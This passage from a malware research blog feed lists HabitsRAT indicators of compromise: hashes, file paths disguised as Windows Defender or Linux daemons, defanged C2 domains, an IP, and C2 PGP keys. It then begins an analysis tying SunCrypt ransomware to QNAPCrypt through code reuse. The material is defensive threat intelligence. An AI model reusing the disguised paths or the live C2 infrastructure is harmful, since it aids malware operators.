f556c9b4e5bb463be84dead45a9aedcf8bec41c1c2b503ea52719357943750e7&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Linux version of HabitsRAT&lt;span class="hx:absolute hx:-mt-20" id="linux-version-of-habitsrat"&gt;&lt;/span&gt;
&lt;a href="#linux-version-of-habitsrat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;338e41f1a8be56339b039835b06d815a3666c8b0d5725b63be7bf54c8745704a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File paths&lt;span class="hx:absolute hx:-mt-20" id="file-paths"&gt;&lt;/span&gt;
&lt;a href="#file-paths" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.exe
$HOME/.config/polkitd/polkitd
/etc/systemd/system/polkitd.service
%TEMP%\krebsonsecurity.xml
$HOME/.config/.accounts-daemon/accounts-daemon.login.conf
/usr/share/accounts-daemon/accounts-daemon.so
%SystemDrive%\Windows\Defender\MsMpEng.dll
%APPDATA%\Windows NT\Defender\MsMpEng.dll
%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network indicators&lt;span class="hx:absolute hx:-mt-20" id="network-indicators"&gt;&lt;/span&gt;
&lt;a href="#network-indicators" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;brian[.]krebsonsecurity[.]top
brian-krebs-erectile-dysfunction[.]com
krebsonfellatio[.]net
185.193.126.198&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;C2 public keys&lt;span class="hx:absolute hx:-mt-20" id="c2-public-keys"&gt;&lt;/span&gt;
&lt;a href="#c2-public-keys" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Version 11&lt;span class="hx:absolute hx:-mt-20" id="version-11"&gt;&lt;/span&gt;
&lt;a href="#version-11" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBF/I9bUBDACtHQlddPduY2DXMrQHxsh&amp;#43;jCP2ojeMi&amp;#43;08VmuC/eCG3&amp;#43;x0815p
ymssBejVcCckahu0EIJZIl5WaRY&amp;#43;nOJKF9VOdLoegpVmqPmX3GE0FJBR/cGGLSqQ
bofuDbWBIwQPVwHT&amp;#43;QriDpAK9M80H5f6FPm2HqcXJV2fI7FJ5pLWSTMRGhnTjt5D
aSiZqbXhYuq1W3S4zWSsh0TZPn0a4J44N/MwrlrPtr&amp;#43;Q&amp;#43;p31diEHPhQVQZ7a6QKD
ysM3SAx5hSUueli6nawRt6UkOhTbeL1SaGA1dv3PHliTLvOt&amp;#43;OZ6oEAU8aKp3Y2S
PQ3jKkR7x6jzkRNbu3DoXz70Te97f5ZS0qS6WFWSnpTXWC8JN0NG0cG3tDZ9ClyH
NhNnMKl040y33BzBzhQmQmHaX7NwwqEB54HIYsfE4fiSrKovxOkBBXcmS8sPhuhH
Hk6ZiXqEzlB&amp;#43;pIMvtXvNWT3qqhOC/ggmCUpt1YNHnOYoI93A&amp;#43;dlpbRSbmFOkSwL0
Zvd3RhzddtTIUf8AEQEAAbQnTWF0dCBIYXluaWUgPHBhemVyZnJvbXNpbHZlckBn
bWFpbC5jb20&amp;#43;iQHUBBMBCAA&amp;#43;FiEEmgXO4h7loKvki421YmZthezMP4EFAl/I9bUC
GwMFCQPCtQsFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQYmZthezMP4Ex/gv9
FHhkSKm9u5REhdCF&amp;#43;Ez8jk4LzoLGOaNdA8hcMCVHBWCMeE3yTGHec1P16WAqJhG&amp;#43;
LmlfpS7r0QIANeZC2W0rFI2b/lMBFzpzynR2Fi/Gpph4chNlzqlQJWgSvlBPsw0M
nnNwpzRfQhbcSdS/j&amp;#43;zFPE01bSkpm93TczcIvXvdFqJQfpU03pHrAFAvA1pmBkEW
NOmZ8JgLn&amp;#43;HReJQCeCteUbiBdGVIDPneyENZzRcO3fuXzlg3yysPIFKRBbGAqiCt
gtf&amp;#43;RsoyQ19k5vTSjXHK1KYWVvE9dA4levuN8iYKLhPxpBDNGSkY0n5NqECQpkJW
oG0dTDzMDtbAAdjhsoFIv4vH3aGr3iuoYv1ax5WxBSRb2h4Zno0Np4emo91p8FS4
KQXuNivYO5SXcEiXNRfDbUSN3J51b6v&amp;#43;SZGmdDhQUEWrEQ7MGl8eBT7DH3&amp;#43;ioZtO
qtezE/MnDzRIZW&amp;#43;o7yeryF9/aqLCa5oEFKNKgHM6n9Jmh4KAip1oiJArCJUHUQkI
uQGNBF/I9bUBDADrDvqlvnPjMQNXCWdlKjBgmiVAcWxRe5NmdIe4d43GdLXEOsWI
eTNY1/L5g4ZLXTeTgMo9ugU9bhwviWq6gro2hPXZVmBhHEVEAtICNjFTlHBOUhab
U&amp;#43;riCEeNzE3jneqfS/x04eNirM7hAplSOMOtag49TPwjzqnqGr1r/oe8L1BXHcUP
Cl6EQzk4NSGrNVO8E7Ppm7yeDnK9C0&amp;#43;4LXaMu19np/r43lg1FBk6O4d/q4/S7p&amp;#43;q
P/TILTDC0hPSQw&amp;#43;aAjQPKlfWAjZUQ0CcJT1A5x5SIVWqlpL85ltphdJzCmCiTtmm
kMIvX86OxZkzhligkJ1r1QM8OL&amp;#43;t9Mzq9mglc6PHUXIISiaVvwI3ZWH1OxI6ate3
znV8n3wfAbURDoTmPCMSNziSrvT39zsUCxY7zQoKoeNUBmx8AWW0Sgms2z1oK8ti
&amp;#43;JekSBbxLNVElglwDgtSLkgA4dOnfTUtCDstZouxVnenhLD7jUSmhbS&amp;#43;XIkjsOUY
&amp;#43;mXshXvqEb1rD5cAEQEAAYkBvAQYAQgAJhYhBJoFzuIe5aCr5IuNtWJmbYXszD&amp;#43;B
BQJfyPW1AhsMBQkDwrULAAoJEGJmbYXszD&amp;#43;BbzUMAIviQCxye0jQVnHwT1JjnyjF
7JaiJlU2nOQave16DmyHcu0rejJLhJoQXaA28Qgkv&amp;#43;6mOK4fXWyPV&amp;#43;iAcr3AKuTV
EVY6EDwwUwGn/RxcIYVt8qSZanj&amp;#43;cd6g9iJR3UMb9//25ggIW618NvW0zODowwNu
GDF5ei4cyhvA3NjCCqIvwxO&amp;#43;XRJynp&amp;#43;0lQl0ulOCS&amp;#43;Y&amp;#43;/V3H0&amp;#43;0EhIrJ8x5TvnE9
yC8CtagR0S53mNtmbS3A8INV/Gj6M7/7BZ2eVkbZRVEoQkhmr/lvJ/n4QhYcgre9
1iboJ75TorVEOH1B0Q/3IACBD/fEnSogjij8Vf/bdb4W/8LHpeV8bbtDzkzMfh7i
SxoF8y1kBl/YXrbs4mFcwgQ8KKqKkYkMp9p527LF/gglE54xMMXdp2WG65oh5jZz
0vzASRgwAI&amp;#43;K0LuN1&amp;#43;McUJwWtWQlcnQEEDlvbHVe1jKOrdqqf&amp;#43;BRxl2rNDU0P&amp;#43;u&amp;#43;
mtrn7vMinEja8k6O2N2RsL0TvLyGD&amp;#43;sAPKUZG7Q/Bg==
=gbms
-----END PGP PUBLIC KEY BLOCK-----&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Version 12&lt;span class="hx:absolute hx:-mt-20" id="version-12"&gt;&lt;/span&gt;
&lt;a href="#version-12" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGBm0jYBDAC83QCJbnqPtHUfazjzNEeNmHY2zUeV8tXaKUkFyeIG9QmSSZ4u
0Y&amp;#43;uNR3p5CkexQC0C6STIkDE43fYU92N&amp;#43;Olt7jFcYK718vPv6ieGSuuztJqnrOKX
9jY/22iRPYFNjcw&amp;#43;LPQzm4CXyD3gugfp3Jm1JO99y5D5PDbP6yVpG6Fm6TmzOXku
grLoWBLWBn5Z6BJAB1YYM35vJpjC22eY6uFF6fhAW7K8mZNUKYHGwZOfkK5F&amp;#43;27Y
lxiaOHjh0mjfisWWvcvlImd5dd7614Pu5Yl3PfH4p7fUZJsGofj&amp;#43;hyiZHd9luIM1
yc9TWSQBSeBKIFM9iU7a4i0vB4rbY355tYBckuCVyt4NNBnDO0/zgVOZkf/qjTm&amp;#43;
JUZlxQJ54Gs7aWueo/aWSaqCN/TIqD909coDbw&amp;#43;sUA1CojLsw&amp;#43;ghPJBBzB/sSjzA
OCvGOVn&amp;#43;TCr8hV8OBpONXRQFUO4do6VALE/tqBlMMy12Lq/DunM87Mrb9zpJGZyh
JkqGP05xdT9omIEAEQEAAbQnQnJpYW4gS3JlYnMgPGtyZWJzb25zZWN1cml0eUBn
bWFpbC5jb20&amp;#43;iQHUBBMBCgA&amp;#43;FiEEOQFTY4snpri84X9c/wQVl3dsa2QFAmBm0jYC
GwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQ/wQVl3dsa2QgEQv&amp;#43;
Px8Vl1WxzlWWoZsAkmLsXZzPuudAAFWai97g89/D3&amp;#43;D8kxKAiqq2mam9YKx/Cimn
B4HwGhE7ildWfVcJUx63t30Vm8rMIg1M63PQJ&amp;#43;CSIIU8cNEsWSOr8RIcfCTcenDZ
ZdK761c1xNXypag/oToTdDTOCRlfeLFkw2fgcHVsxJoIH00MtAT1utqo7xl15kGk
0jodlv6mDp17E4JBcg2aT4HpzVUIgeDOzCi5b8QPj0X1iDes8DolYu1wHnNaVAXg
SNshR5v5VbrFXvKfyx7sRA8lxQn4HkmnOH18drG&amp;#43;gsE0msFoveqf2M5BCzItY2bI
wG&amp;#43;GQwUTAwciIh5AehbpKOqrk2m588PI11i0x8bc5z3/I3YZbWhdpyJAmNErE/Et
X5nSqVn2lDoooDA9AwE6fRr2oNNxDLE0yREt88cD2EE3/iweQbpeGBSneIFKGdW3
b8zQdJi30gAe7kVS3FFnYXqNaHNhKm/WvODzwRNLSAN6Z1KwJZ79Q3uh19vkl6vr
uQGNBGBm0jYBDACxBNtcNethMzVIig0BIQbrCJ4wVS01waB3WWe71s9RUbJn/LFd
pey/f0NQrMdoUJP75Do91cS6SFI956F7l5AMWAWTDrNkiCQTG8ptegdAJQ81qWAd
V0L2YH&amp;#43;8CNYmfmTOqh3L&amp;#43;cOya6yanNMMM1&amp;#43;c1zjQjCLWzOZog7tBm&amp;#43;1891Gwy8nT
m1jf&amp;#43;oETqUcVV&amp;#43;ePrGaaNLWOB&amp;#43;U69/q6XOScaV/HeQrYLE6MTsoiFgKNEirrDDzj
rd3bjFZzttD8Cuknt7rsOtZC393JHMSu4f2SPy2Wct1r77z2PxBIkKjTJS3Ax2Lf
3rZ3Yt08v1Bmjyxq&amp;#43;zXoIUuSwSNnAP7AJyBKaOtZ/BRjT4xYL9uf0LaIC/a840SB
B3f9N3YzfYgL6GeRib6vv6OrWRPjs/ld8kaj1/l6m2Ry&amp;#43;VIs/433AWMp6b0nQqnS
EMy/72RuSxQogRbgNnwjk6mIBpEyeTQ7mXHslxK5fJVAOPdOGIVAQziQ82BdA9Yw
92ha17TJ1nKz/x8AEQEAAYkBvAQYAQoAJhYhBDkBU2OLJ6a4vOF/XP8EFZd3bGtk
BQJgZtI2AhsMBQkDwmcAAAoJEP8EFZd3bGtkCZAL/ioNDjl54jiVARfIdqSZPS77
tkkB&amp;#43;dGSuJgeZ&amp;#43;60/1gDpGXaWEyx73Mfbp&amp;#43;DT80k2JQ86Cls9S5xuy95gECMo/JI
Jxc5gPdXEH&amp;#43;II&amp;#43;wmfVbQerf1cPmjlSliaRDczJKdO5R14i7IEnD56c&amp;#43;MYDqBvTvH
NAyjFqPrVXBUcqiuDva8PvUN&amp;#43;dcLGBYwGemlNHCt0L7kQ6TPjldjqSjyeUragJYO
Ak4lz&amp;#43;E4cl&amp;#43;V5xKWjFw81S2&amp;#43;sHVLUNmR4KaY5iyfSBSDgNDFW5xQrnClJBg0&amp;#43;4cv
QqDJRd4JJOYjBp/dLjmGeXmxuVyshGePUBYrOCsm1GTf3Razr&amp;#43;lgpn4OzW78MRVv
JFfcpGhafyTvZQrV7qa7Na8fjSLr&amp;#43;drbDDxm3WP2Tz9Un0tuDvayLhTU/AnWY2MT
v&amp;#43;LlwbUDmdrZx&amp;#43;VwMCj4ZwtYkVSqHUd1yfZ5s6I&amp;#43;yPcN6700Kw0dea628GEC&amp;#43;g9V
QE&amp;#43;GLOcciRHTBgzaL16trl40wZQ8iMpgnn/FEz&amp;#43;grw==
=6v1j
-----END PGP PUBLIC KEY BLOCK-----&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>When Viruses Mutate: Did SunCrypt Ransomware Evolve from QNAPCrypt?</title><link>https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/</link><pubDate>Tue, 02 Mar 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/</guid><description>
&lt;p&gt;&lt;em&gt;Dov Lerner from Cybersixgill contributed to this report&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Programmers frequently reuse code, as recycling something that is already
written and functional is much more efficient than writing from scratch.
Malware authors are no different; functions and modules from one malware can be
reused in the next. Because of this, code reuse analysis can connect different
malware to the same author.&lt;/p&gt;
&lt;p&gt;When performing code reuse analysis, it is important to ensure that the code is
unique to the specific developer and not common code that, for example, is part
of an open-source library since open-source code can be used by many and cannot
be tied to a specific author. If this is handled correctly, code reuse is a
very powerful method for attributing malware to a specific malware author.&lt;/p&gt;
&lt;p&gt;There is a constant churn of new actors and malware families. However,
sometimes a seemingly new threat actor is just a &amp;ldquo;rebranding&amp;rdquo; or a new group
formed by known actors. For example, in May 2019, the GandCrab group announced
that they were retiring from their ransomware activity. Not long after,
&lt;a href="https://www.secureworks.com/blog/revil-the-gandcrab-connection"target="_blank" rel="noopener"&gt;researchers&lt;/a&gt;
connected a new ransomware called
&lt;a href="https://analyze.intezer.com/families/098aa9b8-08e5-4b20-a83f-5e94e57f8fd7?utm_campaign=research-blog&amp;amp;utm_content=when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;REvil&lt;/a&gt;
(also known as Sodinokibi) to the then defunct GandCrab ransomware. REvil
shared unique code similarities with GandCrab. This suggested that when
GandCrab was closing down, the malware authors switched to develop a new
ransomware using some of the code from GandCrab in a new collaboration with
other threat actors.&lt;/p&gt;
&lt;p&gt;This report uses both dark web research and malware analysis to investigate the
connection between the affiliate ransomware service known as SunCrypt and the
&lt;a href="../../../2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers"&gt;QNAPCrypt&lt;/a&gt;
ransomware, the latter of which was used against QNAP and Synology devices back
in 2019. While the two ransomware are operated by distinct different threat
actors on the dark web, there are strong technical connections in code reuse
and techniques, linking the two ransomware to the same author. Just because a
malware is a derivative of another malware does not mean it will be deployed in
exactly the same way. A new operator may use different targets, tactics,
techniques and procedures (TTPs), which can include new evasion techniques.
Defenders must remain vigilant.&lt;/p&gt;
&lt;h2&gt;Technical Connection&lt;span class="hx:absolute hx:-mt-20" id="technical-connection"&gt;&lt;/span&gt;
&lt;a href="#technical-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;SunCrypt is a Ransomware as a Service (RaaS) that uses a closed affiliate
program on the dark web. The history of this RaaS can be traced back to circa
October 2019. In October 2019, a new ransomware was found in-the-wild
(&lt;a href="https://analyze.intezer.com/files/98b8924d3f49ed0279723d3311bbdafcc918f240390151ea65493e48d2803393?utm_campaign=research-blog&amp;amp;utm_content=when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;5657abdb9d99cd5aec433099f8d6f53d&lt;/a&gt;).
The new ransomware was written in Go and targeted Windows machines. This
version of SunCrypt was not reported in many attacks and it wasn&amp;rsquo;t until
&lt;a href="https://id-ransomware.blogspot.com/2020/08/suncrypt-ransomware.html"target="_blank" rel="noopener"&gt;mid-2020&lt;/a&gt;
when a new version of the ransomware written in C/C++ was discovered, that
attacks started to increase. It is an interesting shift of retooling from Go to
C/C++ when
&lt;a href="https://twitter.com/VK_Intel/status/1281677718376120328"target="_blank" rel="noopener"&gt;other groups&lt;/a&gt; are
instead retooling from C/C++ to Go.&lt;/p&gt;
&lt;p&gt;While the RaaS didn&amp;rsquo;t appear until October 2019, these ransomware share
connections with another ransomware, called
&lt;a href="../../../2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers"&gt;QNAPCrypt&lt;/a&gt;
(also known as
&lt;a href="https://www.anomali.com/blog/the-ech0raix-ransomware"target="_blank" rel="noopener"&gt;eCh0raix&lt;/a&gt;), that was
used to target Network Attached Storage (NAS) devices back in July 2019. Both
families share identical code logic for the file encryption, which we can
conclude with high certainty has been compiled from the same source code.&lt;/p&gt;
&lt;h3&gt;SunCrypt 2020 and SunCrypt 2019&lt;span class="hx:absolute hx:-mt-20" id="suncrypt-2020-and-suncrypt-2019"&gt;&lt;/span&gt;
&lt;a href="#suncrypt-2020-and-suncrypt-2019" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The SunCrypt variant that was released in 2020 is written in C. Due to this, it
does not have any shared code with the earlier version from 2019. The
functionality of SunCrypt has been
&lt;a href="https://sapphirex00.medium.com/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83"target="_blank" rel="noopener"&gt;well-documented&lt;/a&gt;
and some of the behaviors are similar between the two variants. For example,
both variants are designed to encrypt and steal data. This, together with the
name, is not enough to link the two variants together. Instead, we have to look
at other data points.&lt;/p&gt;
&lt;p&gt;After the ransomware has stolen and encrypted the files on the infected
machine, the user is presented with a ransom note. The ransom note for the 2020
variant is shown in Figure 1 below. The note can be read in English, German,
French, Spanish or Japanese. It has an input box that when the user enters the
unique ID, sends the user to a chat interface.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig1.png" title="Figure 1: Ransom note pages for SunCrypt. Left is showing the original ransom note and right is showing the current ransom note used. Both share the same typos and structure. The current ransom note provides a link to the leak site while the original note does not." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Ransom note pages for SunCrypt. Left is showing the original ransom note and right is showing the current ransom note used. Both share the same typos and structure. The current ransom note provides a link to the leak site while the original note does not.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The ransom note for the 2019 variant is very similar. It has essentially the
same text. The background color is different. The major difference is that the
2019 version does not include the text of leaking the stolen data if the ransom
is not paid, as can be seen in Figure 1.&lt;/p&gt;
&lt;h3&gt;Connection to QNAPCrypt&lt;span class="hx:absolute hx:-mt-20" id="connection-to-qnapcrypt"&gt;&lt;/span&gt;
&lt;a href="#connection-to-qnapcrypt" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The 2021 variant is potentially a beta release of the RaaS. The version
included in the PDB path is &amp;ldquo;0.1&amp;rdquo; as can be seen in Figure 2. The figure is
showing a partial output of &lt;a href="https://github.com/goretk/redress"target="_blank" rel="noopener"&gt;redress&lt;/a&gt;, a
tool used to analyze Go binaries. As part of the output, we can see a file
called &amp;ldquo;aes.go&amp;rdquo; with two functions. Note that one of the functions has a typo
in the name, &amp;ldquo;EncEAS&amp;rdquo; instead of &amp;ldquo;EncAES.&amp;rdquo; A similar file has been found being
part of another malware family, QNAPCrypt. This typo was included in two
samples of version 2 of QNAPCrypt
(&lt;a href="https://analyze.intezer.com/files/50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b?utm_campaign=research-blog&amp;amp;utm_content=when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;8dd59345cc034317630b2ac2ee19b362&lt;/a&gt;
and
&lt;a href="https://analyze.intezer.com/files/9d4bc803c256bd340664ce08c2bf68249f33419d7decd866f3ade78626c95422?utm_campaign=research-blog&amp;amp;utm_content=when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;516291d10b370c7be3863335cf5d57eb&lt;/a&gt;).
An output generated by redress from one of the QNAPCrypt samples is shown in
Figure 3. After searching both our data set of malware and a retro hunt on
VirusTotal, only these three samples have the two function names. From this, we
can conclude that the typo is unique and potentially shared code between the
two ransomware families.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig2.png" title="Figure 2: Partial output of redress for SunCrypt 2019 variant. One of the functions has the typo EAS instead of AES." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Partial output of redress for SunCrypt 2019 variant. One of the functions has the typo EAS instead of AES.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig3.png" title="Figure 3: Output from redress for a version of QNAPCrypt with the same typo." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Output from redress for a version of QNAPCrypt with the same typo.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A deeper analysis of the function confirms that they are derived from the same
source. A flow graph of &amp;ldquo;&lt;code&gt;EncFile&lt;/code&gt;&amp;rdquo; is shown in Figure 4 and a flow graph for
&amp;ldquo;&lt;code&gt;EncEAS&lt;/code&gt;&amp;rdquo; is shown in Figure 5.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig4.png" title="Figure 4: Flow graphs for EncFile function. The flow is identical." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Flow graphs for EncFile function. The flow is identical.&lt;/figcaption&gt;
